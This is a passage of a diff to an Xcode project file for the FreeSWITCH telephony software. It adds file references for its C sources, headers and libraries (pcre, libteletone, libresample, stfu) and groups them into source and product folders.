+		4B35E04B35E04B35E0000000 /* switch_dso.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_dso.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_dso.c"; sourceTree = "<absolute>"; };
+		4B40A04B40A04B40A0000000 /* switch_loadable_module.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_loadable_module.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_loadable_module.c"; sourceTree = "<absolute>"; };
+		4B4FC04B4FC04B4FC0000000 /* switch_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_utils.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_utils.c"; sourceTree = "<absolute>"; };
+		4B56404B56404B5640000000 /* switch_event.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_event.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_event.c"; sourceTree = "<absolute>"; };
+		4B61004B61004B6100000000 /* switch_resample.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_resample.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_resample.c"; sourceTree = "<absolute>"; };
+		4B6BC04B6BC04B6BC0000000 /* switch_regex.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_regex.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_regex.c"; sourceTree = "<absolute>"; };
+		4B76804B76804B7680000000 /* switch_rtp.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_rtp.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_rtp.c"; sourceTree = "<absolute>"; };
+		4B81404B81404B8140000000 /* switch_ivr_bridge.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_ivr_bridge.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_ivr_bridge.c"; sourceTree = "<absolute>"; };
+		4B8C004B8C004B8C00000000 /* switch_ivr_originate.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_ivr_originate.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_ivr_originate.c"; sourceTree = "<absolute>"; };
+		4BA2904BA2904BA290000000 /* switch_ivr_play_say.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_ivr_play_say.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_ivr_play_say.c"; sourceTree = "<absolute>"; };
+		4BB1C04BB1C04BB1C0000000 /* switch_ivr_menu.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_ivr_menu.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_ivr_menu.c"; sourceTree = "<absolute>"; };
+		4BB8004BB8004BB800000000 /* switch_ivr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_ivr.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_ivr.c"; sourceTree = "<absolute>"; };
+		4BC2C04BC2C04BC2C0000000 /* switch_stun.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_stun.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_stun.c"; sourceTree = "<absolute>"; };
+		4BCD804BCD804BCD80000000 /* switch_log.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_log.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_log.c"; sourceTree = "<absolute>"; };
+		4BD8404BD8404BD840000000 /* switch_xml.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_xml.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_xml.c"; sourceTree = "<absolute>"; };
+		4BE3004BE3004BE300000000 /* switch_config.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_config.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_config.c"; sourceTree = "<absolute>"; };
+		4BEDC04BEDC04BEDC0000000 /* switch_time.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_time.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_time.c"; sourceTree = "<absolute>"; };
+		4BF8804BF8804BF880000000 /* stfu.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = stfu.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/stfu/stfu.c"; sourceTree = "<absolute>"; };
+		4C03404C03404C0340000000 /* switch_cpp.cpp */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = switch_cpp.cpp; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_cpp.cpp"; sourceTree = "<absolute>"; };
+		4C0E004C0E004C0E00000000 /* g711.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = g711.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/g711.c"; sourceTree = "<absolute>"; };
+		4C1CB04C1CB04C1CB0000000 /* switch_pcm.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = switch_pcm.c; path = "/Users/shaneburrell/freeswitch-svn-real/src/switch_pcm.c"; sourceTree = "<absolute>"; };
+		4C23004C23004C2300000000 /* libteletone_detect.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = libteletone_detect.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src/libteletone_detect.c"; sourceTree = "<absolute>"; };
+		4C27704C27704C2770000000 /* libteletone_generate.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = libteletone_generate.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src/libteletone_generate.c"; sourceTree = "<absolute>"; };
+		4C32C04C32C04C32C0000000 /* switch_am_config.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_am_config.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_am_config.h"; sourceTree = "<absolute>"; };
+		4C4F504C4F504C4F50000000 /* switch_apr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_apr.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_apr.h"; sourceTree = "<absolute>"; };
+		4C56004C56004C5600000000 /* switch_buffer.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_buffer.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_buffer.h"; sourceTree = "<absolute>"; };
+		4C60D04C60D04C60D0000000 /* switch_caller.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_caller.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_caller.h"; sourceTree = "<absolute>"; };
+		4C6BB04C6BB04C6BB0000000 /* switch_channel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_channel.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_channel.h"; sourceTree = "<absolute>"; };
+		4C7AD04C7AD04C7AD0000000 /* switch_console.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_console.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_console.h"; sourceTree = "<absolute>"; };
+		4C85B04C85B04C85B0000000 /* switch_core_event_hook.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_core_event_hook.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_core_event_hook.h"; sourceTree = "<absolute>"; };
+		4C86404C86404C8640000000 /* switch_scheduler.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_scheduler.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_scheduler.h"; sourceTree = "<absolute>"; };
+		4C9BB04C9BB04C9BB0000000 /* switch_core.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_core.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_core.h"; sourceTree = "<absolute>"; };
+		4CA2604CA2604CA260000000 /* switch_core_db.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_core_db.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_core_db.h"; sourceTree = "<absolute>"; };
+		4CB1704CB1704CB170000000 /* switch_config.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_config.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_config.h"; sourceTree = "<absolute>"; };
+		4CB7F04CB7F04CB7F0000000 /* switch_event.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_event.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_event.h"; sourceTree = "<absolute>"; };
+		4CC2C04CC2C04CC2C0000000 /* switch_frame.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_frame.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_frame.h"; sourceTree = "<absolute>"; };
+		4CCD904CCD904CCD90000000 /* switch_ivr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_ivr.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_ivr.h"; sourceTree = "<absolute>"; };
+		4CD8504CD8504CD850000000 /* switch_dso.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_dso.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_dso.h"; sourceTree = "<absolute>"; };
+		4CE3104CE3104CE310000000 /* switch_loadable_module.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_loadable_module.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_loadable_module.h"; sourceTree = "<absolute>"; };
+		4CE7804CE7804CE780000000 /* switch_module_interfaces.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_module_interfaces.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_module_interfaces.h"; sourceTree = "<absolute>"; };
+		4CF2804CF2804CF280000000 /* resample.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = resample.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libresample/src/resample.c"; sourceTree = "<absolute>"; };
+		4CF3004CF3004CF300000000 /* switch_platform.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_platform.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_platform.h"; sourceTree = "<absolute>"; };
+		4D08504D08504D0850000000 /* switch_resample.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_resample.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_resample.h"; sourceTree = "<absolute>"; };
+		4D13304D13304D1330000000 /* switch_regex.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_regex.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_regex.h"; sourceTree = "<absolute>"; };
+		4D19B04D19B04D19B0000000 /* switch_types.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_types.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_types.h"; sourceTree = "<absolute>"; };
+		4D24804D24804D2480000000 /* switch_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_utils.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_utils.h"; sourceTree = "<absolute>"; };
+		4D2F504D2F504D2F50000000 /* switch_rtp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_rtp.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_rtp.h"; sourceTree = "<absolute>"; };
+		4D3A104D3A104D3A10000000 /* switch_stun.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_stun.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_stun.h"; sourceTree = "<absolute>"; };
+		4D44D04D44D04D44D0000000 /* switch_log.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_log.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_log.h"; sourceTree = "<absolute>"; };
+		4D4F904D4F904D4F90000000 /* switch_xml.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_xml.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_xml.h"; sourceTree = "<absolute>"; };
+		4D5A504D5A504D5A50000000 /* switch_cpp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_cpp.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_cpp.h"; sourceTree = "<absolute>"; };
+		4D65104D65104D6510000000 /* libteletone_detect.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = libteletone_detect.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src/libteletone_detect.h"; sourceTree = "<absolute>"; };
+		4D69804D69804D6980000000 /* libteletone_generate.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = libteletone_generate.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src/libteletone_generate.h"; sourceTree = "<absolute>"; };
+		4D74D04D74D04D74D0000000 /* libteletone.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = libteletone.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src/libteletone.h"; sourceTree = "<absolute>"; };
+		4D7FA04D7FA04D7FA0000000 /* switch_odbc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = switch_odbc.h; path = "/Users/shaneburrell/freeswitch-svn-real/src/include/switch_odbc.h"; sourceTree = "<absolute>"; };
+		4E26604E26604E2660000000 /* libfreeswitch_la.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; path = libfreeswitch_la.a; sourceTree = BUILT_PRODUCTS_DIR; };
+		4E37F04E37F04E37F0000000 /* filterkit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = filterkit.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libresample/src/filterkit.c"; sourceTree = "<absolute>"; };
+		4E42704E42704E4270000000 /* resamplesubs.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = resamplesubs.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libresample/src/resamplesubs.c"; sourceTree = "<absolute>"; };
+		4E43004E43004E4300000000 /* libresample.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = libresample.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/libresample/include/libresample.h"; sourceTree = "<absolute>"; };
+		4EE3404EE3404EE340000000 /* libresample.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; path = libresample.a; sourceTree = BUILT_PRODUCTS_DIR; };
+		4F9DA04F9DA04F9DA0000000 /* libteletone.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; path = libteletone.a; sourceTree = BUILT_PRODUCTS_DIR; };
+		4FA4804FA4804FA480000000 /* pcre_compile.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_compile.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_compile.c"; sourceTree = "<absolute>"; };
+		4FABD04FABD04FABD0000000 /* pcre_tables.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_tables.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_tables.c"; sourceTree = "<absolute>"; };
+		4FB6904FB6904FB690000000 /* pcre_config.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_config.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_config.c"; sourceTree = "<absolute>"; };
+		600100600100600100000000 /* pcre_try_flipped.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_try_flipped.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_try_flipped.c"; sourceTree = "<absolute>"; };
+		601010601010601010000000 /* pcre_dfa_exec.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_dfa_exec.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_dfa_exec.c"; sourceTree = "<absolute>"; };
+		6016C06016C06016C0000000 /* pcre_ucp_searchfuncs.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_ucp_searchfuncs.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_ucp_searchfuncs.c"; sourceTree = "<absolute>"; };
+		602600602600602600000000 /* pcre_exec.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_exec.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_exec.c"; sourceTree = "<absolute>"; };
+		602C70602C70602C70000000 /* pcre_valid_utf8.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_valid_utf8.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_valid_utf8.c"; sourceTree = "<absolute>"; };
+		603740603740603740000000 /* pcre_fullinfo.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_fullinfo.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_fullinfo.c"; sourceTree = "<absolute>"; };
+		604220604220604220000000 /* pcre_version.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_version.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_version.c"; sourceTree = "<absolute>"; };
+		604690604690604690000000 /* dftables.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = dftables.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/dftables.c"; sourceTree = "<absolute>"; };
+		605790605790605790000000 /* pcre_get.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_get.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_get.c"; sourceTree = "<absolute>"; };
+		606230606230606230000000 /* pcre_xclass.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_xclass.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_xclass.c"; sourceTree = "<absolute>"; };
+		606CF0606CF0606CF0000000 /* pcre_globals.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_globals.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_globals.c"; sourceTree = "<absolute>"; };
+		6077B06077B06077B0000000 /* pcre_info.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_info.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_info.c"; sourceTree = "<absolute>"; };
+		608270608270608270000000 /* pcrecpp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = pcrecpp.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcrecpp.h"; sourceTree = "<absolute>"; };
+		608D30608D30608D30000000 /* pcre_internal.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = pcre_internal.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_internal.h"; sourceTree = "<absolute>"; };
+		609810609810609810000000 /* pcre_maketables.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_maketables.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_maketables.c"; sourceTree = "<absolute>"; };
+		60A2E060A2E060A2E0000000 /* pcrecpparg.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = pcrecpparg.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcrecpparg.h"; sourceTree = "<absolute>"; };
+		60ADA060ADA060ADA0000000 /* pcre_ord2utf8.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_ord2utf8.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_ord2utf8.c"; sourceTree = "<absolute>"; };
+		60BD2060BD2060BD20000000 /* pcredemo.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcredemo.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcredemo.c"; sourceTree = "<absolute>"; };
+		60C3A060C3A060C3A0000000 /* pcre_refcount.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_refcount.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_refcount.c"; sourceTree = "<absolute>"; };
+		60CE5060CE5060CE50000000 /* pcregrep.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcregrep.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcregrep.c"; sourceTree = "<absolute>"; };
+		60D91060D91060D910000000 /* pcreposix.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcreposix.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcreposix.c"; sourceTree = "<absolute>"; };
+		60E3D060E3D060E3D0000000 /* pcre_scanner.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = pcre_scanner.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_scanner.h"; sourceTree = "<absolute>"; };
+		60EE9060EE9060EE90000000 /* pcreposix.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = pcreposix.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcreposix.h"; sourceTree = "<absolute>"; };
+		60F96060F96060F960000000 /* pcre_scanner_unittest.cc */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.cpp; name = pcre_scanner_unittest.cc; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_scanner_unittest.cc"; sourceTree = "<absolute>"; };
+		6108B06108B06108B0000000 /* pcretest.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcretest.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcretest.c"; sourceTree = "<absolute>"; };
+		610F30610F30610F30000000 /* pcre_stringpiece.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = pcre_stringpiece.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_stringpiece.h"; sourceTree = "<absolute>"; };
+		6114A06114A06114A0000000 /* pcre_stringpiece.h.in */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode; name = pcre_stringpiece.h.in; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_stringpiece.h.in"; sourceTree = "<absolute>"; };
+		612930612930612930000000 /* ucp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = ucp.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/ucp.h"; sourceTree = "<absolute>"; };
+		612FB0612FB0612FB0000000 /* pcre.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = pcre.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre.h"; sourceTree = "<absolute>"; };
+		613A60613A60613A60000000 /* ucpinternal.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.cpp.h; name = ucpinternal.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/ucpinternal.h"; sourceTree = "<absolute>"; };
+		613ED0613ED0613ED0000000 /* pcre_chartables.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = pcre_chartables.c; path = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre/pcre_chartables.c"; sourceTree = "<absolute>"; };
+		61E47061E47061E470000000 /* libpcre.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; path = libpcre.a; sourceTree = BUILT_PRODUCTS_DIR; };
+		61F2B061F2B061F2B0000000 /* stfu.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = stfu.h; path = "/Users/shaneburrell/freeswitch-svn-real/libs/stfu/stfu.h"; sourceTree = "<absolute>"; };
+		628790628790628790000000 /* libstfu.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; path = libstfu.a; sourceTree = BUILT_PRODUCTS_DIR; };
+/* End PBXFileReference section */
+
 /* Begin PBXGroup section */
-		27FC39A70CDBA14A00BC5B29 = {
+		486D20486D20486D20000000 = {
 			isa = PBXGroup;
 			children = (
+				486FE0486FE0486FE0000000 /* Sources */,
+				487420487420487420000000 /* Resources */,
+				4877E04877E04877E0000000 /* Products */,
 			);
 			sourceTree = "<group>";
 		};
+		486FE0486FE0486FE0000000 /* Sources */ = {
+			isa = PBXGroup;
+			children = (
+				4879C04879C04879C0000000 /* freeswitch */,
+				4888D04888D04888D0000000 /* freeswitch_la */,
+				487880487880487880000000 /* resample */,
+				48CB2048CB2048CB20000000 /* teletone */,
+				48DA9048DA9048DA90000000 /* pcre */,
+				48DA2048DA2048DA20000000 /* stfu */,
+			);
+			name = Sources;
+			sourceTree = "<group>";
+		};
+		487420487420487420000000 /* Resources */ = {
+			isa = PBXGroup;
+			children = (
+			);
+			name = Resources;
+			sourceTree = "<group>";
+		};
+		4877E04877E04877E0000000 /* Products */ = {
+			isa = PBXGroup;
+			children = (
+				4A2F104A2F104A2F10000000 /* freeswitch */,
+				4E26604E26604E2660000000 /* libfreeswitch_la.a */,
+				4EE3404EE3404EE340000000 /* libresample.a */,
+				4F9DA04F9DA04F9DA0000000 /* libteletone.a */,
+				61E47061E47061E470000000 /* libpcre.a */,
+				628790628790628790000000 /* libstfu.a */,
+			);
+			name = Products;
+			sourceTree = "<group>";
+		};
+		487880487880487880000000 /* resample */ = {
+			isa = PBXGroup;
+			children = (
+				48C1D048C1D048C1D0000000 /* Source Files */,
+				48C75048C75048C750000000 /* Header Files */,
+			);
+			name = resample;
+			sourceTree = "<group>";
+		};
+		4879C04879C04879C0000000 /* freeswitch */ = {
+			isa = PBXGroup;
+			children = (
+				487E20487E20487E20000000 /* Source Files */,
+				4882E04882E04882E0000000 /* Header Files */,
+			);
+			name = freeswitch;
+			sourceTree = "<group>";
+		};
+		487E20487E20487E20000000 /* Source Files */ = {
+			isa = PBXGroup;
+			children = (
+				499250499250499250000000 /* switch.c */,
+			);
+			name = "Source Files";
+			sourceTree = "<group>";
+		};
+		4882E04882E04882E0000000 /* Header Files */ = {
+			isa = PBXGroup;
+			children = (
+				4999A04999A04999A0000000 /* switch.h */,
+			);
+			name = "Header Files";
+			sourceTree = "<group>";
+		};
+		4888D04888D04888D0000000 /* freeswitch_la */ = {
+			isa = PBXGroup;
+			children = (
+				488C80488C80488C80000000 /* Source Files */,
+				48A97048A97048A970000000 /* Header Files */,
+			);
+			name = freeswitch_la;
+			sourceTree = "<group>";
+		};
+		488C80488C80488C80000000 /* Source Files */ = {
+			isa = PBXGroup;
+			children = (
+				4A36304A36304A3630000000 /* switch_apr.c */,
+				4A3DB04A3DB04A3DB0000000 /* switch_buffer.c */,
+				4A48704A48704A4870000000 /* switch_caller.c */,
+				4A53304A53304A5330000000 /* switch_channel.c */,
+				4A5DF04A5DF04A5DF0000000 /* switch_console.c */,
+				4A68D04A68D04A68D0000000 /* switch_core_media_bug.c */,
+				4A78304A78304A7830000000 /* switch_core_timer.c */,
+				4A7E704A7E704A7E70000000 /* switch_core_asr.c */,
+				4A89304A89304A8930000000 /* switch_core_event_hook.c */,
+				4A98604A98604A9860000000 /* switch_core_speech.c */,
+				4AA3804AA3804AA380000000 /* switch_core_memory.c */,
